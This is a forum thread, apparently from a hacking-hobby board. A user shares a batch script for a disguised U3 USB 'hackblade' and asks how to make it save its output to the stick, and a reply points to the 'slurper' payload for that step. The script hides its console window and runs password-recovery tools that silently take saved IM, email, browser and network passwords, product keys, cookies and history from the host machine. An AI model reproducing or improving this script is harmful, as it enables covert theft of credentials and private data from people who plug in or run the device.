Jump to content

Usb... well the names open...


Recommended Posts

Posted

ok, im trying to make a version of hackblade using the programs from switchblade(no u3) and hacksaw. im basically

pulling a whole lot of programs together, using u3, to make somthing better than some of the others. itll probably be

pretty rough for a while, but with help i think ill pull it off.

onto my question, for now: the no u3 version has a folder called dump, and i would like to point it into the actual drive, therefore allowing it to run all the programs, on u3, and dumping them through into the drive. i could do this, other than the drive letter could be random, and the u3 "disk" drive isnt the same drive letter (of course). its also read only, (as far as i know) so i cant just write the code to there. my code is the same (so far) as no u3, with the .bat file that is actually putting the files out into drive being:

@echo off
nircmd.exe execmd mkdir "dump\~$sys.computername$"
nircmd.exe execmd .\batexe\mspass.exe /shtml "dump\~$sys.computername$\IMClients.html"
nircmd.exe execmd .\batexe\mailpv.exe /shtml "dump\~$sys.computername$\mail.html"
nircmd.exe execmd .\batexe\pspv.exe /shtml "dump\~$sys.computername$\selected.html"
nircmd.exe execmd .\batexe\iehv.exe /shtml "dump\~$sys.computername$\history.html"
nircmd.exe execmd .\batexe\ProduKey.exe /shtml "dump\~$sys.computername$\ProductKey.html"
nircmd.exe execmd .\batexe\iepv.exe /shtml "dump\~$sys.computername$\IEPasswords.html"
nircmd.exe execmd .\batexe\netpass.exe /shtml "dump\~$sys.computername$\NetworkPasswords.html"
nircmd.exe execmd .\batexe\pstpassword.exe /shtml "dump\~$sys.computername$\PstPassword.html"
nircmd.exe execmd .\batexe\cports.exe /shtml "dump\~$sys.computername$\OpenPorts.html"
nircmd.exe execmd .\batexe\awatch.exe /shtml "dump\~$sys.computername$\NetworkAdapter.html"
nircmd.exe execmd .\batexe\mzcv.exe /shtml "dump\~$sys.computername$\MozillaCookies.html"
nircmd.exe execmd .\batexe\wul.exe /shtml "dump\~$sys.computername$\InstalledUpdates.html"
nircmd.exe execmd .\batexe\strun.exe /shtml "dump\~$sys.computername$\Startup.html"
nircmd.exe execmd .\batexe\servimin.exe /shtml "dump\~$sys.computername$\Services.html"
nircmd.exe win close ititle "Remo"

its simple, but i cant get it to dump into the the usb type drive.

the programs im using are, so far:

Usb switchblade

Usb hacksaw (not yet implimented)

u3 (so the u3 drive looks real, im using this)

nircmd

a whole host of password recovery tools

and thats about it.

sorry if its hard to read, ill make it better tomorrow.

Posted

why not turn all that into a string and that way you dont have to use nircmd to hide the cmd box?

but to answer your question, there is a bat that scans the drive and looks to a special file. Look at the slurper payload and how that is executed and that should get you where you need to go. Its almost at the bare min... I just didnt code an exe for the iso part.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...